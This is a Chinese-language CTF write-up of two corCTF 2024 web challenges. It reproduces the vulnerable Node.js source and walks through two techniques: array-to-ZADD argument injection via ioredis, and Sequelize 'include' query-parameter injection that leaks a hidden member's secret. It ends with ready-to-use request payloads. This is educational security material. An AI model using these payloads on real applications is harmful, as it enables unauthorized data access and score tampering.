[corCTF 2024] rock-paper-scissors
题目描述:can you beat fizzbuzz at rock paper scissors?
漏洞类型:代码逻辑缺陷,缺少类型验证
前言:感觉国际赛好喜欢出Node.js的题目。
开题
是个石头剪刀布的游戏,输入以下名字就可以开始玩。规则是赢了加一分,输了清零。
看一下计分板,第一名是1336分,看了下源码,大于1336分拿到flag。
放一下带注释的源码(index.js):
// 导入必要的模块和依赖
import Redis from 'ioredis'; // Redis 客户端库
import fastify from 'fastify'; // Fastify 框架用于构建 Web 应用
import fastifyStatic from '@fastify/static'; // Fastify 插件用于提供静态文件服务
import fastifyJwt from '@fastify/jwt'; // Fastify 插件用于处理 JWT 认证
import fastifyCookie from '@fastify/cookie'; // Fastify 插件用于处理 Cookie
import { join } from 'node:path'; // Node.js 路径模块用于处理文件路径
import { randomBytes, randomInt } from 'node:crypto'; // Node.js 加密模块用于生成随机数据
// 初始化 Redis 客户端,连接到端口为 6379 的 Redis 服务器,主机名为 "redis"
const redis = new Redis(6379, "redis");
// 初始化 Fastify 应用
const app = fastify();
// 定义一个映射来确定石头剪刀布游戏的胜负条件
const winning = new Map([
...
]);
// 注册 Fastify 静态文件插件,从 'static' 目录提供静态文件
app.register(fastifyStatic, {
root: join(import.meta.dirname, 'static'), // 提供静态文件的目录
prefix: '/' // URL 前缀
});
// 注册 Fastify JWT 插件进行认证,使用一个密钥和 Cookie 进行会话管理
app.register(fastifyJwt, {
secret: process.env.SECRET_KEY || randomBytes(32), // 使用环境变量中的密钥或生成的随机字节作为密钥
cookie: { cookieName: 'session' } // 用于存储 JWT 的 Cookie 名称
});
// 注册 Fastify Cookie 插件处理 Cookie
app.register(fastifyCookie);
// 为用户 'FizzBuzz101' 在 Redis 排行榜中添加初始分数
await redis.zadd('scoreboard', 1336, 'FizzBuzz101');
// 定义路由以开始一个新游戏
app.post('/new', async (req, res) => {
const { username } = req.body; // 从请求体中提取用户名
const game = randomBytes(8).toString('hex'); // 生成一个随机的游戏 ID
await redis.set(game, 0); // 在 Redis 中初始化游戏分数为 0
return res.setCookie('session', await res.jwtSign({ username, game })).send('OK'); // 创建 JWT 并设置在 Cookie 中,然后响应 'OK'
});
// 定义路由以进行游戏
app.post('/play', async (req, res) => {
try {
await req.jwtVerify(); // 验证请求中的 JWT
} catch(e) {
return res.status(400).send({ error: 'invalid token' }); // 如果令牌无效,则响应错误
}
const { game, username } = req.user; // 从验证后的令牌中提取游戏 ID 和用户名
const { position } = req.body; // 从请求体中提取用户的出招(位置)
const system = ['', '*', '*'][randomInt(3)]; // 随机选择系统的出招
if (winning.get(system) === position) { // 检查系统的出招是否胜过用户的出招
const score = await redis.incr(game); // 在 Redis 中增加游戏分数
return res.send({ system, score, state: 'win' }); // 响应系统的出招、新的分数和胜利状态
} else {
const score = await redis.getdel(game); // 从 Redis 中获取并删除游戏分数
if (score === null) {
return res.status(404).send({ error: 'game not found' }); // 如果游戏未找到,则响应错误
}
await redis.zadd('scoreboard', score, username); // 将最终分数添加到 Redis 的排行榜中
return res.send({ system, score, state: 'end' }); // 响应系统的出招、最终分数和结束状态
}
});
// 定义路由以获取排行榜上的最高分
app.get('/scores', async (req, res) => {
const result = await redis.zrevrange('scoreboard', 0, 99, 'WITHSCORES'); // 从 Redis 获取前 100 名的分数
const scores = [];
for (let i = 0; i < result.length; i += 2) {
scores.push([result[i], parseInt(result[i + 1], 10)]); // 将分数解析成 [用户名, 分数] 的数组
}
return res.send(scores); // 响应分数
});
// 定义路由以获取特定的奖励(flag)
app.get('/flag', async (req, res) => {
try {
await req.jwtVerify(); // 验证请求中的 JWT
} catch(e) {
return res.status(400).send({ error: 'invalid token' }); // 如果令牌无效,则响应错误
}
const score = await redis.zscore('scoreboard', req.user.username); // 从排行榜中获取用户的分数
if (score && score > 1336) {
return res.send(process.env.FLAG || 'corctf{test_flag}'); // 如果分数高于阈值,则响应奖励(flag)
}
return res.send('You gotta beat Fizz!'); // 如果分数不够高,则响应提示信息
});
// 启动 Fastify 服务器,监听端口 8080
app.listen({ host: '0.0.0.0', port: 8080 }, (err, address) => console.log(err ?? `web/rock-paper-scissors listening on ${address}`));
源码概述:
web应用程序是用Node.js和fasttify web框架编写的
JWT签名和验证使用tify的JWT
该数据库使用Redis,一种基于内存的数据库。web应用程序使用ioredis作为Redis客户端
读了一下源码,发现判断剪刀石头布输赢全是在后端Node完成的,后端通过JWT来判别用户身份、游戏并且在redis数据库中查询分数,首先得出的结论就是无法从前端下手。
继续读,发现/new
路由每次都会生成一个随机的游戏 ID,新的。那就是说每次都会开一个新的游戏,无法继承之前的分数,同时排行榜分数取新不取高。通俗点来讲就是每次开始游戏分数都会为0。因此我无法利用排行榜那位1336分的选手。(尝试过用户名输入为FizzBuzz101
但是开始游戏分数就是0了,同时排行榜不是取高,我用FizzBuzz101
的用户名玩到5分输了,排行榜就变成5分了)
同时后端随机生成的也没种子,我们无法预测,也不存在伪随机数一说。
==分析下来,发现我们只能通过修改redis数据库来达到目的了。==
突破口也就是漏洞点在index.js
第54行await redis.zadd('scoreboard', score, username);
zadd
方法中变量有score, username
,我们可控的是username
也就是我们一开始在弹窗输入的用户名。
可以传入用户名为一个数组,解析到zadd方法中,会发生神奇的变化:https://github.com/redis/ioredis/issues/468
辅以ZADD的官方文档,我们不难发现一些问题。
由于ioredis使参数扁平化,因此支持以下形式:
redis.zadd('key', [17, 'a'], [18, 'b'], [19, 'c'])
ZADD命令支持多个分数和成员对。例如,下面的ZADD命令将键scoreboard中的user1的得分设置为123,user2的得分设置为1337
ZADD scoreboard 123 "user1" 1337 "user2"
在这题源码中,根本没有类型验证,因此我们可以传入一个数组作为用户名,以欺骗zadd方法设置多个成员的分数!
举个粒子。如果我们的username为['J8',1337,'Jay17']
,那么在后端执行时候变为了:
redis.zadd('scoreboard', score, ['J8',1337,'Jay17']);
也就是执行了如下ZADD命令
ZADD scoreboard score比如说1 'J8',1337,'Jay17'
那么结果就是J8为0分,Jay17为1337分。
ok,重开环境开始做题。
步骤一:(拿好生成的session)
路由:/new
POST:{"username":["J8",1337,"Jay17"]}
步骤二:(带上session)目的是触发一下
路由:/play
Cookie:刚刚拿到的session
步骤三:
换一个浏览器,以Jay17
用户登录,去/flag
路由拿flag。
[corCTF 2024] erm
题目描述:erm guys? why does goroo have the flag?
漏洞类型:Sequelize v6预先加载 导致SQL注入
开题,一个典型的CTF团队门户网站。
Home页面
Writeups页面
Members页面
暂时看不出来题目漏洞,先看看源码吧
主要源码,附带注释:
app.js
// 引入 express 模块,用于创建 Web 服务器。
const express = require("express");
// 引入 hbs (Handlebars) 模块,用作模板引擎。
const hbs = require("hbs");
// 创建一个 Express 应用实例。
const app = express();
// 引入数据库配置和模型。
const db = require("./db.js");
// 设置服务器的端口号。如果 PORT 环境变量已设置,则使用它;否则使用 5000。
const PORT = process.env.PORT || 5000;
// 将视图引擎设置为 hbs (Handlebars),这样 .hbs 文件将用作视图。
app.set("view engine", "hbs");
// 一个实用函数,用于捕获异步错误并将它们转发到错误处理程序。
const wrap = fn => (req, res, next) => {
return Promise
.resolve(fn(req, res, next))
.catch(next);
};
// 定义 "/api/members" 路由,返回未被踢出的成员列表。
app.get("/api/members", wrap(async (req, res) => {
// 从数据库中获取所有未被踢出的成员,包括他们的分类。
const members = await db.Member.findAll({ include: db.Category, where: { kicked: false } });
// 将成员转换为 JSON 格式并作为响应发送。
res.json({ members: members.map(m => m.toJSON()) });
}));
// 定义 "/api/writeup/:slug" 路由,根据 slug 返回特定的 writeup。
app.get("/api/writeup/:slug", wrap(async (req, res) => {
// 根据 slug 查找 writeup,包括撰写它的成员。
const writeup = await db.Writeup.findOne({ where: { slug: req.params.slug }, include: db.Member });
// 如果未找到 writeup,则返回 404 错误。
if (!writeup) return res.status(404).json({ error: "writeup not found" });
// 将 writeup 转换为 JSON 格式并作为响应发送。
res.json({ writeup: writeup.toJSON() });
}));
// 定义 "/api/writeups" 路由,返回 writeups 列表。
app.get("/api/writeups", wrap(async (req, res) => {
// 根据查询参数获取所有 writeups,转换为 JSON 格式,并按日期降序排序。
const writeups = (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a, b) => b.date - a.date);
// 发送排序后的 writeups 作为响应。
res.json({ writeups });
}));
// 定义 "/writeup/:slug" 路由,渲染 writeup 视图。
app.get("/writeup/:slug", wrap(async (req, res) => {
// 渲染 "writeup" 视图。
res.render("writeup");
}));
// 定义 "/writeups" 路由,渲染 writeups 视图。
app.get("/writeups", wrap(async (req, res) => res.render("writeups")));
// 定义 "/members" 路由,渲染 members 视图。
app.get("/members", wrap(async (req, res) => res.render("members")));
// 定义根路由 "/",渲染 index 视图。
app.get("/", (req, res) => res.render("index"));
// 错误处理中间件,记录错误并发送通用错误响应。
app.use((err, req, res, next) => {
console.log(err);
res.status(500).send('发生了错误');
});
// 启动服务器并监听指定端口。服务器运行时在控制台记录一条消息。
app.listen(PORT, () => console.log(`web/erm 正在监听端口 ${PORT}`));
db.js
// 引入 Sequelize 库及其数据类型和操作符。
const { Sequelize, DataTypes, Op } = require('sequelize');
// 引入 slugify 模块,用于生成 URL 友好的 slug。
const slugify = require('slugify');
// 引入 rword 模块,用于生成随机单词。
const { rword } = require('rword');
// 使用 SQLite 数据库并创建一个 Sequelize 实例。
const sequelize = new Sequelize({
dialect: 'sqlite',
storage: 'erm.db',
logging: false
});
// 定义 Category 模型。
const Category = sequelize.define('Category', {
name: {
type: DataTypes.STRING,
primaryKey: true,
allowNull: false,
}
});
// 定义 Member 模型。
const Member = sequelize.define('Member', {
username: {
type: DataTypes.STRING,
primaryKey: true,
allowNull: false,
},
secret: {
type: DataTypes.STRING,
},
kicked: {
type: DataTypes.BOOLEAN,
defaultValue: false,
}
});
// 定义 Writeup 模型。
const Writeup = sequelize.define('Writeup', {
title: {
type: DataTypes.STRING,
allowNull: false
},
slug: {
type: DataTypes.STRING,
allowNull: false,
},
content: {
type: DataTypes.TEXT,
allowNull: false
},
date: {
type: DataTypes.DATE,
allowNull: false
},
category: {
type: DataTypes.STRING,
}
});
// 设置 Category 和 Member 之间的多对多关系。
Category.belongsToMany(Member, { through: 'MemberCategory' });
Member.belongsToMany(Category, { through: 'MemberCategory' });
// 设置 Member 和 Writeup 之间的一对多关系。
Member.hasMany(Writeup);
Writeup.belongsTo(Member);
// 同步模型并用默认数据填充数据库。
sequelize.sync().then(async () => {
// 检查数据库中是否已有 Writeup 记录。
const writeupCount = await Writeup.count();
if (writeupCount !== 0) return;
console.log("seeding db with default data...");
// 定义默认的分类和成员数据。
const categories = ["web", "pwn", "rev", "misc", "crypto", "forensics"];
const members = [
{ username: "FizzBuzz101", categories: ["pwn", "rev"] },
{ username: "strellic", categories: ["web", "misc"] },
{ username: "EhhThing", categories: ["web", "misc"] },
{ username: "drakon", categories: ["web", "misc"], },
{ username: "ginkoid", categories: ["web", "misc"], },
{ username: "jazzpizazz", categories: ["web", "misc"], },
{ username: "BrownieInMotion", categories: ["web", "rev"] },
{ username: "clubby", categories: ["pwn", "rev"] },
{ username: "pepsipu", categories: ["pwn", "crypto"] },
{ username: "chop0", categories: ["pwn"] },
{ username: "ryaagard", categories: ["pwn"] },
{ username: "day", categories: ["pwn", "crypto"] },
{ username: "willwam845", categories: ["crypto"] },
{ username: "quintec", categories: ["crypto", "misc"] },
{ username: "anematode", categories: ["rev"] },
{ username: "0x5a", categories: ["pwn"] },
{ username: "emh", categories: ["crypto"] },
{ username: "jammy", categories: ["misc", "forensics"] },
{ username: "pot", categories: ["crypto"] },
{ username: "plastic", categories: ["misc", "forensics"] },
];
// 创建默认的分类。
for (const category of categories) {
await Category.create({ name: category });
}
// 创建默认的成员,并将他们与相应的分类关联。
for (const member of members) {
const m = await Member.create({ username: member.username });
for (const category of member.categories) {
const c = await Category.findOne({ where: { name: category } });
await m.addCategory(c);
await c.addMember(m);
}
}
// 创建一个被禁成员,因为泄露了解决脚本。
const goroo = await Member.create({ username: "goroo", secret: process.env.FLAG || "corctf{test_flag}", kicked: true });
const web = await Category.findOne({ where: { name: "web" } });
await goroo.addCategory(web);
await web.addMember(goroo);
// 创建默认的 Writeup 数据。
for (let i = 0; i < 25; i++) {
const challCategory = categories[Math.floor(Math.random() * categories.length)];
const date = new Date(Math.floor(Math.random() * 4) + 2020, Math.floor(Math.random() * 12), Math.floor(Math.random() * 31) + 1);
// 随机生成 CTF 和挑战名称。
const ctfName = `${rword.generate(1, { capitalize: 'first', length: '4-6' })}CTF ${date.getFullYear()}`;
const challName = `${challCategory}/${rword.generate(1)}`;
const title = `${ctfName} - ${challName} Writeup`;
const content = rword.generate(1, { capitalize: 'first'}) + " " + rword.generate(500).join(" ") + ".<br /><br />Thanks for reading!<br /><br />";
// 创建 Writeup 并与随机选择的作者关联。
const writeup = await Writeup.create({ title, content, date, slug: slugify(title, { lower: true }), category: challCategory });
const authors = members.filter(m => m.categories.includes(challCategory));
const author = await Member.findByPk(authors[Math.floor(Math.random() * authors.length)].username);
await writeup.setMember(author);
await author.addWriteup(writeup);
}
});
// 导出模型,以便在其他文件中使用。
module.exports = { Category, Member, Writeup };
源码概述:
Node.js编写
使用Express.js web应用程序框架
使用SQLite存储所有的成员、写入和类别
使用Sequelize ORM version 6与SQLite数据库进行交互
db.js中定义了各个数据模型和模型间的关系(仔细看下,之后要用)
在db.js
中,我们可以看到flag被存储在成员goroo(因为泄露解题方法被踢出队伍)的secret中
所以我们的目标是以某种方式泄露成员goroo的秘密。回到Members页面,这边能看到未被踢出的成员的id、方向。
我们需要能看到被踢出的成员、和他们的秘密(这些信息在SQLite数据库中)。
那么这题相当于需要SQL注入了,不是传统意义上的那种,后文会说。
涉及的文档:https://sequelize.org/docs/v6/
特别是预先加载(漏洞点)这一部分:https://sequelize.org/docs/v6/advanced-association-concepts/eager-loading/
谷歌翻译下看起来还是容易的
在Burp的http历史记录里面我们能发现网站是如何查询writeup
的
/api/writeups?where[category]=web
对应app.js源码:
// 定义 "/api/writeups" 路由,返回 writeups 列表。
app.get("/api/writeups", wrap(async (req, res) => {
// 根据查询参数获取所有 writeups,转换为 JSON 格式,并按日期降序排序。
const writeups = (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a, b) => b.date - a.date);
// 发送排序后的 writeups 作为响应。
res.json({ writeups });
}));
在app.js源码中相当于:req.query
=where[category]=web
const writeups =(await db.Writeup.findAll({
where: {
category: "web"
}
})).map(w => w.toJSON()).sort((a, b) => b.date - a.date);
这里使用的是选项where
,类似于SQL语句中的WHERE
,用于在同一张表中添加过滤选项获得信息。
文档中还给了一个选项include
,可以获取与当前模型关联的模型(一下子就通透起来了)
这样,我们就能在查询Writeup模型的时候获取Member模型的信息了
读者可能想问,网页中有查询Member模型相关信息的页面啊,为什么要多此一举?
这里补一下,直接看网页或者是读源码可以发现,查询Member模型相关信息的语句是写死的。注入不了
OK我们继续读文档,看看这个include
选项怎么用。以下是官方文档给出的代码示例:
指定要加载的模型以及别名:(也就是后文精确查找flag)
const users = await User.findAll({
include: { model: Tool, as: 'Instruments' },
});
console.log(JSON.stringify(users, null, 2));
要包含所有相关模型,可以使用all
和nested
选项:(也就是后文全部查找)
// Fetch all models associated with User
User.findAll({ include: { all: true } });
// Fetch all models associated with User and their nested associations (recursively)
User.findAll({ include: { all: true, nested: true } });
那么现在有两种都可行的办法,通俗的称之为精确查找flag和全部查找。
==一、精确查找flag==
可以通过指定与关联别名匹配的字符串来包含别名:
User.findAll({ include: 'Instruments' }); // Also works
User.findAll({ include: { association: 'Instruments' } }); // Also works
比如如下方式都可以看到Writeup对应的成员信息。
/api/writeups?include=Member
/api/writeups?include[]=Member
/api/writeups?include[0]=Member
/api/writeups?include[association]=Member
引用下Z3r4y师傅的payload:【Web】corCTF2024 题解(部分)-CSDN博客
因为已经定义了一个model,所以要用association来查Member模型的信息。同时用on来联合多表查询,联合Member模型的所有信息包括被踢成员,直接查询被踢掉的成员的所有信息。
/api/writeups?include[association]=Member&include[on][kicked]=1
同理通过username也可以查
/api/writeups?include[association]=Member&include[on][username]=goroo
==二、全部查找==
根据源码定义的模型结构,结合文档,我们需要构造出下面的语句进行查询
const writeups =(await db.Writeup.findAll({
'include': {
'all': true,
'include': {
'all': true,
'include': {
'all': true
}
}
}
})).map(m => m.toJSON()).sort((a, b) => b.date - a.date)
但是true
是布尔值,传参进去的是字符串。由于某些原因,我们传参时候可以用All
字符串替代布尔值true
,类似如下这样子。
const writeups =(await db.Writeup.findAll({
'include': {
'all': 'All',
'include': {
'all': 'All',
'include': {
'all': 'All'
}
}
}
})).map(m => m.toJSON()).sort((a, b) => b.date - a.date)
OK回到题目
第一步,Writeup模型到与之相关的(有多对多或是一对多关系)Member模型的信息(比如说成员FizzBuzz101)
/api/writeups?include[all]=All
第二步,Member模型到与之相关的Category模型的信息(比如说方向web)
/api/writeups?include[all]=All&include[include][all]=All
第二步,Category模型到与之相关的Member模型的信息(比如说从事方向web的成员goroo和他的所有信息包括flag)
/api/writeups?include[all]=All&include[include][all]=All&include[include][include][all]=All
OK,收工